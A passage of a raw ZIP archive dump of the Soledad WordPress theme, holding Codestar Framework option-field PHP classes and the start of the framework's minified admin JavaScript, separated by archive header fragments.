				'menu_slug'        => $this->opt_name,
				'database'         => 'theme_mod',
				'output_css'       => false,
				'footer_text'      => '',
				'footer_after'     => '',
				'footer_credit'    => '',
				'menu_parent'      => 'soledad_dashboard_welcome',
				'menu_position'    => 0,
				'show_sub_menu'    => false,
				'save_defaults'    => false,
				'show_bar_menu'    => false,
				'theme'            => 'light',
				'menu_type'        => 'submenu',
				'show_all_options' => false,
			)
		);

		$this->options_content();
		$this->imex();
	}
}

PenciSoledadCodeStarOptions::getInstance();
PK     1w\h
  
  '  options/custom-fields/spacing-field.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) {
	die; } // Cannot access directly.
/**
 *
 * Field: spacings
 *
 * @since 1.0.0
 * @version 1.0.0
 */
if ( ! class_exists( 'CSF_Field_spacings' ) ) {
	class CSF_Field_spacings extends CSF_Fields {

		public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
			parent::__construct( $field, $value, $unique, $where, $parent );
			wp_enqueue_script( 'csf_spacings_field', PENCI_SOLEDAD_URL . '/inc/options/js/spacing-field.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );

		}

		public function render() {

			$options      = $this->field['options'];
			$saved_values = ( ! is_array( $this->value ) && ! empty( $this->value ) ) ? explode( ', ', $this->value ) : explode( ', ', '\'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\'' );

			echo $this->field_before();

			echo '<div class="csf--inputs" data-depend-id="' . esc_attr( $this->field['id'] ) . '">';

			$labels = array(
				'margin'        => __( 'Margin', 'soledad' ),
				'padding'       => __( 'Padding', 'soledad' ),
				'border'        => __( 'Border Width', 'soledad' ),
				'border-radius' => __( 'Border Radius', 'soledad' ),
			);

			$icons = array(
				'0' => '<i class="fas fa-long-arrow-alt-up"></i>',
				'1' => '<i class="fas fa-long-arrow-alt-right"></i>',
				'2' => '<i class="fas fa-long-arrow-alt-down"></i>',
				'3' => '<i class="fas fa-long-arrow-alt-left"></i>',
			);

			foreach ( $options as $area => $props ) {

				echo '<div class="csf-desc-text"><h4>' . $labels[ $area ] . '</h4></div>';

				$icon_count = 0;

				switch ( $area ) {
					case 'padding':
						$count = 4;
						break;
					case 'border':
						$count = 8;
						break;
					case 'border-radius':
						$count = 12;
						break;
					default:
						$count = 0;
				}

				foreach ( $props as $prop => $value ) {

					$value_check = isset( $saved_values[ $count ] ) && $saved_values[ $count ] ? $saved_values[ $count ] : '';

					echo '<div class="csf--input">';
					echo '<span class="csf--label csf--icon">' . $icons[ $icon_count ] . '</span>';
					echo '<input type="number" placeholder="' . $value . '" value="' . $value_check . '" class="csf-input-number cfs-spacings-field ' . $prop . '" step="any" />';
					echo '</div>';

					++$count;
					++$icon_count;

				}
			}

			echo '</div>';

			echo '<input type="hidden" class="hidden cfs-spacings-saved-field" name="' . esc_attr( $this->field_name() ) . '" value="' . $this->value . '"/>';

			echo $this->field_after();
		}
	}
}
PK     1w\    %  options/custom-fields/sizes-field.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) {
	die; } // Cannot access directly.
/**
 *
 * Field: sizes
 *
 * @since 1.0.0
 * @version 1.0.0
 */
if ( ! class_exists( 'CSF_Field_sizes' ) ) {
	class CSF_Field_sizes extends CSF_Fields {

		public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
			parent::__construct( $field, $value, $unique, $where, $parent );
		}

		public function render() {

			$ids     = $this->field['ids'];
			$options = $this->field['options'];

			echo $this->field_before();

			echo '<div class="csf--inputs" data-depend-id="' . esc_attr( $this->field['id'] ) . '">';

			$icons = array(
				'mobile'  => '<i class="dashicons dashicons-smartphone"></i>',
				'desktop' => '<i class="dashicons dashicons-desktop"></i>',
			);

			foreach ( $ids as $device => $id ) {

				$item_value = get_theme_mod( $id );

				$icon = $icons[ $device ];

				if ( count( $ids ) == 1 ) {
					$icon = '<i class="dashicons dashicons-admin-site-alt3"></i>';
				}

				$default = isset( $options[ $device ]['default'] ) && $options[ $device ]['default'] ? $options[ $device ]['default'] : '';

				echo '<div class="csf--input">';
					echo '<span class="csf--label csf--icon">' . $icon . '</span>';
					echo '<input type="number" name="' . $id . '" placeholder="' . $default . '" value="' . $item_value . '" class="csf-input-number" step="any" />';
					echo '</div>';
			}

			echo '</div>';

			echo $this->field_after();
		}
	}
}
PK     1w\Ek	  	  &  options/custom-fields/import-field.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) {
	die; } // Cannot access directly.
/**
 *
 * Field: import
 *
 * @since 1.0.0
 * @version 1.0.0
 */
if ( ! class_exists( 'CSF_Field_import' ) ) {
	class CSF_Field_import extends CSF_Fields {

		public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
			parent::__construct( $field, $value, $unique, $where, $parent );
		}

		public function render() {

			$nonce = wp_create_nonce( 'penci_options_import_data' );

			echo $this->field_before();
			echo '<textarea></textarea>';
			echo $this->field_after();
			echo '<button data-nonce="' . $nonce . '" data-ajaxurl="' . esc_url( admin_url( 'admin-ajax.php' ) ) . '" class="button">' . __( 'Import Theme Settings', 'soledad' ) . '</button>';
		}
	}
}
PK     1w\A  A  #  options/custom-fields/btn-field.phpnu [        <?php
if ( ! class_exists( 'CSF_Field_button' ) ) {
	class CSF_Field_button extends CSF_Fields {

		public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
			parent::__construct( $field, $value, $unique, $where, $parent );
			wp_enqueue_script( 'csf_btn_field', PENCI_SOLEDAD_URL . '/inc/options/js/btn-field.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		}

		public function render() {

			echo $this->field_before();

			$type = '';
			$none = '';

			if ( isset( $this->field['data_type'] ) && $this->field['data_type'] ) {
				$type = ' data-type="' . $this->field['data_type'] . '" ';
			}

			if ( isset( $this->field['nonce'] ) && $this->field['nonce'] ) {
				$none = ' data-nonce="' . $this->field['nonce'] . '" ';
			}

			echo '<button data-adminjax="' . esc_url( admin_url( 'admin-ajax.php' ) ) . '"' . $type . $none . 'class="button" type="button" name="' . $this->field_name() . '" value="' . $this->value . '"' . $this->field_attributes() . '>' . $this->field['title'] . '</button>';

			echo $this->field_after();
		}
	}
}
PK     1w\J4  4  &  options/custom-fields/export-field.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) {
	die; } // Cannot access directly.
/**
 *
 * Field: export
 *
 * @since 1.0.0
 * @version 1.0.0
 */
if ( ! class_exists( 'CSF_Field_export' ) ) {
	class CSF_Field_export extends CSF_Fields {

		public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
			parent::__construct( $field, $value, $unique, $where, $parent );
		}

		public function render() {

			$template = get_template();
			$mods     = get_theme_mods();
			$data     = array(
				'template' => $template,
				'mods'     => $mods ? $mods : array(),
				'options'  => array(),
			);

			$export_content = base64_encode( wp_json_encode( $data ) );

			echo $this->field_before();
			echo '<textarea readonly>' . $export_content . '</textarea>';
			echo $this->field_after();
		}
	}
}
PK     1w\        options/framework/index.phpnu [        <?php // Silence is golden.
PK     1w\q>  >  '  options/framework/assets/js/main.min.jsnu [        /* Codestar Framework | A Simple and Lightweight WordPress Option Framework - v2.3.0*/
!function(S,_,b,y){"use strict";var j={funcs:{}};j.vars={onloaded:!1,$body:S("body"),$window:S(_),$document:S(b),$form_warning:null,is_confirm:!1,form_modified:!1,code_themes:[],is_rtl:S("body").hasClass("rtl")},j.helper={uid:function(e){return(e||"")+Math.random().toString(36).substr(2,9)},preg_quote:function(e){return(e+"").replace(/(\[|\])/g,"\\$1")},name_nested_replace:function(e,t){var n=new RegExp(j.helper.preg_quote(t+"[\\d+]"),"g");e.find(":radio").each(function(){(this.checked||this.orginal_checked)&&(this.orginal_checked=!0)}),e.each(function(e){S(this).find(":input").each(function(){this.name=this.name.replace(n,t+"["+e+"]"),this.orginal_checked&&(this.checked=!0)})})},debounce:function(i,s,c){var a;return function(){var e=this,t=arguments,n=c&&!a;clearTimeout(a),a=setTimeout(function(){a=null,c||i.apply(e,t)},s),n&&i.apply(e,t)}}},S.fn.csf_clone=function(){for(var e=S.fn.clone.apply(this,arguments),t=this.find("select").add(this.filter("select")),n=e.find("select").add(e.filter("select")),i=0;i<t.length;++i)for(var s=0;s<t[i].options.length;++s)!0===t[i].options[s].selected&&(n[i].options[s].selected=!0);return this.find(":radio").each(function(){this.orginal_checked=this.checked}),e},S.fn.csf_expand_all=function(){return this.each(function(){S(this).on("click",function(e){e.preventDefault(),S(".csf-wrapper").toggleClass("csf-show-all"),S(".csf-section").csf_reload_script(),S(this).find(".fa").toggleClass("fa-indent").toggleClass("fa-outdent")})})},S.fn.csf_nav_options=function(){return this.each(function(){var n,e=S(this),t=S(_),i=S("#wpwrap"),s=e.find("a");t.on("hashchange csf.hashchange",function(){var e=_.location.hash.replace("#tab=",""),e=e||s.first().attr("href").replace("#tab=",""),t=S('[data-tab-id="'+e+'"]');t.length&&(t.closest(".csf-tab-item").addClass("csf-tab-expanded").siblings().removeClass("csf-tab-expanded"),t.next().is("ul")&&(e=(t=t.next().find("li").first().find("a")).data("tab-id")),s.removeClass("csf-active"),t.addClass("csf-active"),n&&n.addClass("hidden"),(t=S('[data-section-id="'+e+'"]')).removeClass("hidden"),t.csf_reload_script(),S(".csf-section-id").val(t.index()+1),n=t,i.hasClass("wp-responsive-open")&&(S("html, body").animate({scrollTop:t.offset().top-50},200),i.removeClass("wp-responsive-open")))}).trigger("csf.hashchange")})},S.fn.csf_nav_metabox=function(){return this.each(function(){var n,e=S(this),i=e.find("a"),s=e.parent().find(".csf-section");i.each(function(t){S(this).on("click",function(e){e.preventDefault();e=S(this),i.removeClass("csf-active"),e.addClass("csf-active"),n!==y&&n.addClass("hidden"),e=s.eq(t);e.removeClass("hidden"),e.csf_reload_script(),n=e})}),i.first().trigger("click")})},S.fn.csf_page_templates=function(){this.length&&S(b).on("change",".editor-page-attributes__template select, #page_template, .edit-post-post-status + div select",function(){var e=S(this).val()||"default";S(".csf-page-templates").removeClass("csf-metabox-show").addClass("csf-metabox-hide"),S(".csf-page-"+e.toLowerCase().replace(/[^a-zA-Z0-9]+/g,"-")).removeClass("csf-metabox-hide").addClass("csf-metabox-show")})},S.fn.csf_post_formats=function(){this.length&&S(b).on("change",'.editor-post-format select, #formatdiv input[name="post_format"]',function(){var e="0"===(e=S(this).val()||"default")?"default":e;S(".csf-post-formats").removeClass("csf-metabox-show").addClass("csf-metabox-hide"),S(".csf-post-format-"+e).removeClass("csf-metabox-hide").addClass("csf-metabox-show")})},S.fn.csf_search=function(){return this.each(function(){S(this).find("input").on("change keyup",function(){var t=S(this).val(),e=S(".csf-wrapper"),n=e.find(".csf-section").find("> .csf-field:not(.csf-depend-on)"),i=n.find("> .csf-title, .csf-search-tags");3<t.length?(n.addClass("csf-metabox-hide"),e.addClass("csf-search-all"),i.each(function(){var e=S(this);e.text().match(new RegExp(".*?"+t+".*?","i"))&&((e=e.closest(".csf-field")).removeClass("csf-metabox-hide"),e.parent().csf_reload_script())})):(n.removeClass("csf-metabox-hide"),e.removeClass("csf-search-all"))})})},S.fn.csf_sticky=function(){return this.each(function(){function e(){r=i.scrollTop(),f()}var n=S(this),i=S(_),s=n.find(".csf-header-inner"),c=parseInt(s.css("padding-left"))+parseInt(s.css("padding-right")),a=32,r=0,t=!1,o=function(){var e=n.offset().top,e=Math.max(a,e-r),t=i.innerWidth();e<=a&&782<t?(s.css({width:n.outerWidth()-c}),n.css({height:n.outerHeight()}).addClass("csf-sticky")):(s.removeAttr("style"),n.removeAttr("style").removeClass("csf-sticky"))},f=function(){t||requestAnimationFrame(function(){o(),t=!1}),t=!0};i.on("scroll resize",e),e()})},S.fn.csf_dependency=function(){return this.each(function(){var t,n,o,f,e=S(this),i=e.children("[data-controller]");i.length&&(t=S.csf_deps.createRuleset(),n=S.csf_deps.createRuleset(),o=[],f=[],i.each(function(){var i=S(this),e=i.data("controller").split("|"),s=i.data("condition").split("|"),c=i.data("value").toString().split("|"),a=!!i.data("depend-global"),r=a?n:t;S.each(e,function(e,t){var n=c[e]||"",e=s[e]||s[0];(r=r.createRule('[data-depend-id="'+t+'"]',e,n)).include(i),(a?f:o).push(t)})}),o.length&&S.csf_deps.enable(e,t,o),f.length&&S.csf_deps.enable(j.vars.$body,n,f))})},S.fn.csf_field_accordion=function(){return this.each(function(){S(this).find(".csf-accordion-title").on("click",function(){var e=S(this),t=e.find(".csf-accordion-icon"),e=e.next();t.hasClass("fa-angle-right")?t.removeClass("fa-angle-right").addClass("fa-angle-down"):t.removeClass("fa-angle-down").addClass("fa-angle-right"),e.data("opened")||(e.csf_reload_script(),e.data("opened",!0)),e.toggleClass("csf-accordion-open")})})},S.fn.csf_field_backup=function(){return this.each(function(){var t,n,i,s;_.wp.customize!==y&&(n=S(t=this),S("body"),i=n.find(".csf-import"),s=n.find(".csf-reset"),t.notificationOverlay=function(){wp.customize.notifications&&wp.customize.OverlayNotification&&(wp.customize.state("saved").get()||(wp.customize.state("changesetStatus").set("trash"),wp.customize.each(function(e){e._dirty=!1}),wp.customize.state("saved").set(!0)),wp.customize.notifications.add(new wp.customize.OverlayNotification("csf_field_backup_notification",{type:"default",message:"&nbsp;",loading:!0})))},s.on("click",function(e){e.preventDefault(),j.vars.is_confirm&&(t.notificationOverlay(),_.wp.ajax.post("csf-reset",{unique:s.data("unique"),nonce:s.data("nonce")}).done(function(e){_.location.reload(!0)}).fail(function(e){alert(e.error),wp.customize.notifications.remove("csf_field_backup_notification")}))}),i.on("click",function(e){e.preventDefault(),j.vars.is_confirm&&(t.notificationOverlay(),_.wp.ajax.post("csf-import",{unique:i.data("unique"),nonce:i.data("nonce"),data:n.find(".csf-import-data").val()}).done(function(e){_.location.reload(!0)}).fail(function(e){alert(e.error),wp.customize.notifications.remove("csf_field_backup_notification")}))}))})},S.fn.csf_field_background=function(){return this.each(function(){S(this).find(".csf--background-image").csf_reload_script()})},S.fn.csf_field_code_editor=function(){return this.each(function(){var t,i,e,s,c;"function"==typeof CodeMirror&&(t=S(this),i=t.find("textarea"),e=t.find(".CodeMirror"),s=i.data("editor"),e.length&&e.remove(),c=setInterval(function(){var n,e;t.is(":visible")&&(n=CodeMirror.fromTextArea(i[0],s),"default"!==s.theme&&-1===j.vars.code_themes.indexOf(s.theme)&&(e=S("<link>"),S("#csf-codemirror-css").after(e),e.attr({rel:"stylesheet",id:"csf-codemirror-"+s.theme+"-css",href:s.cdnURL+"/theme/"+s.theme+".min.css",type:"text/css",media:"all"}),j.vars.code_themes.push(s.theme)),CodeMirror.modeURL=s.cdnURL+"/mode/%N/%N.min.js",CodeMirror.autoLoadMode(n,s.mode),n.on("change",function(e,t){i.val(n.getValue()).trigger("change")}),clearInterval(c))}))})},S.fn.csf_field_date=function(){return this.each(function(){var e=S(this),n=e.find("input"),i=e.find(".csf-date-settings").data("settings"),i=S.extend({},i,{showAnim:"",beforeShow:function(e,t){S(t.dpDiv).addClass("csf-datepicker-wrapper")},onClose:function(e,t){S(t.dpDiv).removeClass("csf-datepicker-wrapper")}});2===n.length&&(i=S.extend({},i,{onSelect:function(e){S(this),n.first();var t=n.first().attr("id")===S(this).attr("id")?"minDate":"maxDate",e=S.datepicker.parseDate(i.dateFormat,e);n.not(this).datepicker("option",t,e)}})),n.each(function(){var e=S(this);e.hasClass("hasDatepicker")&&e.removeAttr("id").removeClass("hasDatepicker"),e.datepicker(i)})})},S.fn.csf_field_datetime=function(){return this.each(function(){var e=S(this),i=e.find("input"),t=e.find(".csf-datetime-settings").data("settings"),t=S.extend({},t,{onReady:function(e,t,n){S(n.calendarContainer).addClass("csf-flatpickr")}});2===i.length&&(t=S.extend({},t,{onChange:function(e,t,n){"from"===S(n.element).data("type")?i.last().get(0)._flatpickr.set("minDate",e[0]):i.first().get(0)._flatpickr.set("maxDate",e[0])}})),i.each(function(){S(this).flatpickr(t)})})},S.fn.csf_field_fieldset=function(){return this.each(function(){S(this).find(".csf-fieldset-content").csf_reload_script()})},S.fn.csf_field_gallery=function(){return this.each(function(){var s,e=S(this),c=e.find(".csf-edit-gallery"),a=e.find(".csf-clear-gallery"),r=e.find("ul"),o=e.find("input");e.find("img");e.on("click",".csf-button, .csf-edit-gallery",function(e){var t=S(this),n=o.val(),t=t.hasClass("csf-edit-gallery")?"edit":"add",i="add"!=t||n.length?"gallery-edit":"gallery";e.preventDefault(),void 0!==_.wp&&_.wp.media&&_.wp.media.gallery&&("gallery"==i?(s=_.wp.media({library:{type:"image"},frame:"post",state:"gallery",multiple:!0})).open():(s=_.wp.media.gallery.edit('[gallery ids="'+n+'"]'),"add"==t&&s.setState("gallery-library")),s.on("update",function(e){r.empty();e=e.models.map(function(e){var e=e.toJSON(),t=(e.sizes&&e.sizes.thumbnail&&e.sizes.thumbnail.url?e.sizes.thumbnail:e).url;return r.append('<li><img src="'+t+'"></li>'),e.id});o.val(e.join(",")).trigger("change"),a.removeClass("hidden"),c.removeClass("hidden")}))}),a.on("click",function(e){e.preventDefault(),r.empty(),o.val("").trigger("change"),a.addClass("hidden"),c.addClass("hidden")})})},S.fn.csf_field_group=function(){return this.each(function(){function e(e){e.preventDefault();var t,n,i,s,e=c.children(".csf-cloneable-item").length;r.hide(),h&&h<e+1?a.show():(t=(e=S(this).parent().parent()).children(".csf-cloneable-helper").csf_clone(!0),n=e.children(".csf-cloneable-title").csf_clone(),i=e.children(".csf-cloneable-content").csf_clone(),(s=S('<div class="csf-cloneable-item" />')).append(t),s.append(n),s.append(i),c.children().eq(e.index()).after(s),j.helper.name_nested_replace(c.children(".csf-cloneable-item"),l),c.accordion("refresh"),c.csf_customizer_refresh(),c.csf_customizer_listen({closest:!0}),d&&u(c))}function t(e){e.preventDefault(),e=c.children(".csf-cloneable-item").length,a.hide(),r.hide(),p&&e-1<p?r.show():(S(this).closest(".csf-cloneable-item").remove(),j.helper.name_nested_replace(c.children(".csf-cloneable-item"),l),c.csf_customizer_refresh(),d&&u(c))}var n=S(this),i=n.children(".csf-fieldset"),i=i.length?i:n,c=i.children(".csf-cloneable-wrapper"),s=i.children(".csf-cloneable-hidden"),a=i.children(".csf-cloneable-max"),r=i.children(".csf-cloneable-min"),o=c.data("title-by"),f=c.data("title-by-prefix"),l=c.data("field-id"),d=Boolean(Number(c.data("title-number"))),h=parseInt(c.data("max")),p=parseInt(c.data("min")),u=(c.hasClass("ui-accordion")&&c.find(".ui-accordion-header-icon").remove(),function(e){e.find(".csf-cloneable-title-number").each(function(e){S(this).html(S(this).closest(".csf-cloneable-item").index()+1+".")})});c.accordion({header:"> .csf-cloneable-item > .csf-cloneable-title",collapsible:!0,active:!1,animate:!1,heightStyle:"content",icons:{header:"csf-cloneable-header-icon fas fa-angle-right",activeHeader:"csf-cloneable-header-icon fas fa-angle-down"},activate:function(e,t){var i,s,n=t.newPanel,t=t.newHeader;n.length&&!n.data("opened")?(i=t.find(".csf-cloneable-value"),s=[],S.each(o,function(e,t){s.push(n.find('[data-depend-id="'+t+'"]'))}),S.each(s,function(e,t){t.on("change keyup csf.keyup",function(){var n=[];S.each(s,function(e,t){t=t.val();t&&n.push(t)}),n.length&&i.text(n.join(f))}).trigger("csf.keyup")}),n.csf_reload_script(),n.data("opened",!0),n.data("retry",!1)):n.data("retry")&&(n.csf_reload_script_retry(),n.data("retry",!1))}}),c.sortable({axis:"y",handle:".csf-cloneable-title,.csf-cloneable-sort",helper:"original",cursor:"move",placeholder:"widget-placeholder",start:function(e,t){c.accordion({active:!1}),c.sortable("refreshPositions"),t.item.children(".csf-cloneable-content").data("retry",!0)},update:function(e,t){j.helper.name_nested_replace(c.children(".csf-cloneable-item"),l),c.csf_customizer_refresh(),d&&u(c)}}),i.children(".csf-cloneable-add").on("click",function(e){e.preventDefault();var t=c.children(".csf-cloneable-item").length;r.hide(),h&&h<t+1?a.show():((e=s.csf_clone(!0)).removeClass("csf-cloneable-hidden"),e.find(':input[name!="_pseudo"]').each(function(){this.name=this.name.replace("___","").replace(l+"[0]",l+"["+t+"]")}),c.append(e),c.accordion("refresh"),c.accordion({active:t}),c.csf_customizer_refresh(),c.csf_customizer_listen({closest:!0}),d&&u(c))}),c.children(".csf-cloneable-item").children(".csf-cloneable-helper").on("click",".csf-cloneable-clone",e),i.children(".csf-cloneable-hidden").children(".csf-cloneable-helper").on("click",".csf-cloneable-clone",e);c.children(".csf-cloneable-item").children(".csf-cloneable-helper").on("click",".csf-cloneable-remove",t),i.children(".csf-cloneable-hidden").children(".csf-cloneable-helper").on("click",".csf-cloneable-remove",t)})},S.fn.csf_field_icon=function(){return this.each(function(){var n=S(this);n.on("click",".csf-icon-add",function(e){e.preventDefault();var e=S(this),t=S("#csf-modal-icon");t.removeClass("hidden"),j.vars.$icon_target=n,j.vars.icon_modal_loaded||(t.find(".csf-modal-loading").show(),_.wp.ajax.post("csf-get-icons",{nonce:e.data("nonce")}).done(function(e){t.find(".csf-modal-loading").hide(),j.vars.icon_modal_loaded=!0;var n=t.find(".csf-modal-load").html(e.content);n.on("click","i",function(e){e.preventDefault();e=S(this).attr("title");j.vars.$icon_target.find(".csf-icon-preview i").removeAttr("class").addClass(e),j.vars.$icon_target.find(".csf-icon-preview").removeClass("hidden"),j.vars.$icon_target.find(".csf-icon-remove").removeClass("hidden"),j.vars.$icon_target.find("input").val(e).trigger("change"),t.addClass("hidden")}),t.on("change keyup",".csf-icon-search",function(){var t=S(this).val();n.find("i").each(function(){var e=S(this);e.attr("title").search(new RegExp(t,"i"))<0?e.hide():e.show()})}),t.on("click",".csf-modal-close, .csf-modal-overlay",function(){t.addClass("hidden")})}).fail(function(e){t.find(".csf-modal-loading").hide(),t.find(".csf-modal-load").html(e.error),t.on("click",function(){t.addClass("hidden")})}))}),n.on("click",".csf-icon-remove",function(e){e.preventDefault(),n.find(".csf-icon-preview").addClass("hidden"),n.find("input").val("").trigger("change"),S(this).addClass("hidden")})})},S.fn.csf_field_map=function(){return this.each(function(){var e,t,n,i,s,c,a,r,o,f,l;"undefined"!=typeof L&&(l=(e=S(this)).find(".csf--map-osm"),t=e.find(".csf--map-search input"),n=e.find(".csf--latitude"),i=e.find(".csf--longitude"),s=e.find(".csf--zoom"),c=l.data("map"),a=L.map(l.get(0),c),L.tileLayer("https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png",{attribution:'&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors'}).addTo(a),r=L.marker(c.center,{draggable:!0}).addTo(a),o=function(e){n.val(e.lat),i.val(e.lng),s.val(a.getZoom())},a.on("click",function(e){r.setLatLng(e.latlng),o(e.latlng)}),a.on("zoom",function(){o(r.getLatLng())}),r.on("drag",function(){o(r.getLatLng())}),t.length||(t=S('[data-depend-id="'+e.find(".csf--address-field").data("address-field")+'"]')),f={},t.autocomplete({source:function(e,t){var n=e.term;n in f?t(f[n]):S.get("https://nominatim.openstreetmap.org/search",{format:"json",q:n},function(e){e=e.length?e.map(function(e){return{value:e.display_name,label:e.display_name,lat:e.lat,lon:e.lon}},"json"):[{value:"no-data",label:"No Results."}];f[n]=e,t(e)})},select:function(e,t){if("no-data"===t.item.value)return!1;t=L.latLng(t.item.lat,t.item.lon);a.panTo(t),r.setLatLng(t),o(t)},create:function(e,t){S(this).autocomplete("widget").addClass("csf-map-ui-autocomplate")}}),n.on("change",l=function(){var e=L.latLng(n.val(),i.val());a.panTo(e),r.setLatLng(e)}),i.on("change",l))})},S.fn.csf_field_link=function(){return this.each(function(){var i=S(this),e=i.find(".csf--link"),s=i.find(".csf--add"),c=i.find(".csf--edit"),a=i.find(".csf--remove"),r=i.find(".csf--result"),t=j.helper.uid("csf-wplink-textarea-");s.on("click",function(e){e.preventDefault(),_.wpLink.open(t)}),c.on("click",function(e){e.preventDefault(),s.trigger("click"),S("#wp-link-url").val(i.find(".csf--url").val()),S("#wp-link-text").val(i.find(".csf--text").val()),S("#wp-link-target").prop("checked","_blank"===i.find(".csf--target").val())}),a.on("click",function(e){e.preventDefault(),i.find(".csf--url").val("").trigger("change"),i.find(".csf--text").val(""),i.find(".csf--target").val(""),s.removeClass("hidden"),c.addClass("hidden"),a.addClass("hidden"),r.parent().addClass("hidden")}),e.attr("id",t).on("change",function(){var e=_.wpLink.getAttrs(),t=e.href,n=S("#wp-link-text").val(),e=e.target||"";i.find(".csf--url").val(t).trigger("change"),i.find(".csf--text").val(n),i.find(".csf--target").val(e),r.html('{url:"'+t+'", text:"'+n+'", target:"'+e+'"}'),s.addClass("hidden"),c.removeClass("hidden"),a.removeClass("hidden"),r.parent().removeClass("hidden")})})},S.fn.csf_field_media=function(){return this.each(function(){var n,i=S(this),s=i.find(".csf--button"),c=i.find(".csf--remove"),a=s.data("library")&&s.data("library").split(",")||"",r=!!i.hasClass("csf-assign-field-background")&&i.closest(".csf-field-background").find(".csf--auto-attributes");s.on("click",function(e){e.preventDefault(),void 0!==_.wp&&_.wp.media&&_.wp.media.gallery&&(n||(n=_.wp.media({library:{type:a}})).on("select",function(){var e=n.state().get("selection").first().attributes,t=s.data("preview-size")||"thumbnail";a.length&&-1===a.indexOf(e.subtype)&&-1===a.indexOf(e.type)||(i.find(".csf--id").val(e.id),i.find(".csf--width").val(e.width),i.find(".csf--height").val(e.height),i.find(".csf--alt").val(e.alt),i.find(".csf--title").val(e.title),i.find(".csf--description").val(e.description),t=void 0!==e.sizes&&void 0!==e.sizes.thumbnail&&"thumbnail"===t?e.sizes.thumbnail.url:void 0!==e.sizes&&void 0!==e.sizes.full?e.sizes.full.url:"image"===e.type?e.url:e.icon,r&&r.removeClass("csf--attributes-hidden"),c.removeClass("hidden"),i.find(".csf--preview").removeClass("hidden"),i.find(".csf--src").attr("src",t),i.find(".csf--thumbnail").val(t),i.find(".csf--url").val(e.url).trigger("change"))}),n.open())}),c.on("click",function(e){e.preventDefault(),r&&r.addClass("csf--attributes-hidden"),c.addClass("hidden"),i.find("input").val(""),i.find(".csf--preview").addClass("hidden"),i.find(".csf--url").trigger("change")})})},S.fn.csf_field_repeater=function(){return this.each(function(){function e(e){e.preventDefault();var t,n,i,e=s.children(".csf-repeater-item").length;r.hide(),f&&f<e+1?a.show():(t=(e=S(this).parent().parent().parent()).children(".csf-repeater-content").csf_clone(),n=e.children(".csf-repeater-helper").csf_clone(!0),(i=S('<div class="csf-repeater-item" />')).append(t),i.append(n),s.children().eq(e.index()).after(i),i.children(".csf-repeater-content").csf_reload_script(),j.helper.name_nested_replace(s.children(".csf-repeater-item"),o),s.csf_customizer_refresh(),s.csf_customizer_listen({closest:!0}))}function t(e){e.preventDefault(),e=s.children(".csf-repeater-item").length,a.hide(),r.hide(),l&&e-1<l?r.show():(S(this).closest(".csf-repeater-item").remove(),j.helper.name_nested_replace(s.children(".csf-repeater-item"),o),s.csf_customizer_refresh())}var n=S(this),i=n.children(".csf-fieldset"),i=i.length?i:n,s=i.children(".csf-repeater-wrapper"),c=i.children(".csf-repeater-hidden"),a=i.children(".csf-repeater-max"),r=i.children(".csf-repeater-min"),o=s.data("field-id"),f=parseInt(s.data("max")),l=parseInt(s.data("min"));s.children(".csf-repeater-item").children(".csf-repeater-content").csf_reload_script(),s.sortable({axis:"y",handle:".csf-repeater-sort",helper:"original",cursor:"move",placeholder:"widget-placeholder",update:function(e,t){j.helper.name_nested_replace(s.children(".csf-repeater-item"),o),s.csf_customizer_refresh(),t.item.csf_reload_script_retry()}}),i.children(".csf-repeater-add").on("click",function(e){e.preventDefault();var t=s.children(".csf-repeater-item").length;r.hide(),f&&f<t+1?a.show():((e=c.csf_clone(!0)).removeClass("csf-repeater-hidden"),e.find(':input[name!="_pseudo"]').each(function(){this.name=this.name.replace("___","").replace(o+"[0]",o+"["+t+"]")}),s.append(e),e.children(".csf-repeater-content").csf_reload_script(),s.csf_customizer_refresh(),s.csf_customizer_listen({closest:!0}))}),s.children(".csf-repeater-item").children(".csf-repeater-helper").on("click",".csf-repeater-clone",e),i.children(".csf-repeater-hidden").children(".csf-repeater-helper").on("click",".csf-repeater-clone",e);s.children(".csf-repeater-item").children(".csf-repeater-helper").on("click",".csf-repeater-remove",t),i.children(".csf-repeater-hidden").children(".csf-repeater-helper").on("click",".csf-repeater-remove",t)})},S.fn.csf_field_slider=function(){return this.each(function(){var e=S(this),n=e.find("input"),t=e.find(".csf-slider-ui"),e=n.data(),i=n.val()||0;t.hasClass("ui-slider")&&t.empty(),t.slider({range:"min",value:i,min:e.min||0,max:e.max||100,step:e.step||1,slide:function(e,t){n.val(t.value).trigger("change")}}),n.on("keyup",function(){t.slider("value",n.val())})})},S.fn.csf_field_sortable=function(){return this.each(function(){var n=S(this).find(".csf-sortable");n.sortable({axis:"y",helper:"original",cursor:"move",placeholder:"widget-placeholder",update:function(e,t){n.csf_customizer_refresh()}}),n.find(".csf-sortable-content").csf_reload_script()})},S.fn.csf_field_sorter=function(){return this.each(function(){var i=S(this),e=i.find(".csf-enabled"),t=i.find(".csf-disabled"),t=!!t.length&&t;e.sortable({connectWith:t,placeholder:"ui-sortable-placeholder",update:function(e,t){var n=t.item.find("input");t.item.parent().hasClass("csf-enabled")?n.attr("name",n.attr("name").replace("disabled","enabled")):n.attr("name",n.attr("name").replace("enabled","disabled")),i.csf_customizer_refresh()}}),t&&t.sortable({connectWith:e,placeholder:"ui-sortable-placeholder",update:function(e,t){i.csf_customizer_refresh()}})})},S.fn.csf_field_spinner=function(){return this.each(function(){var e=S(this),n=e.find("input"),e=e.find(".ui-button"),i=n.data();e.length&&e.remove(),n.spinner({min:i.min||0,max:i.max||100,step:i.step||1,create:function(e,t){i.unit&&n.after('<span class="ui-button csf--unit">'+i.unit+"</span>")},spin:function(e,t){n.val(t.value).trigger("change")}})})},S.fn.csf_field_switcher=function(){return this.each(function(){var 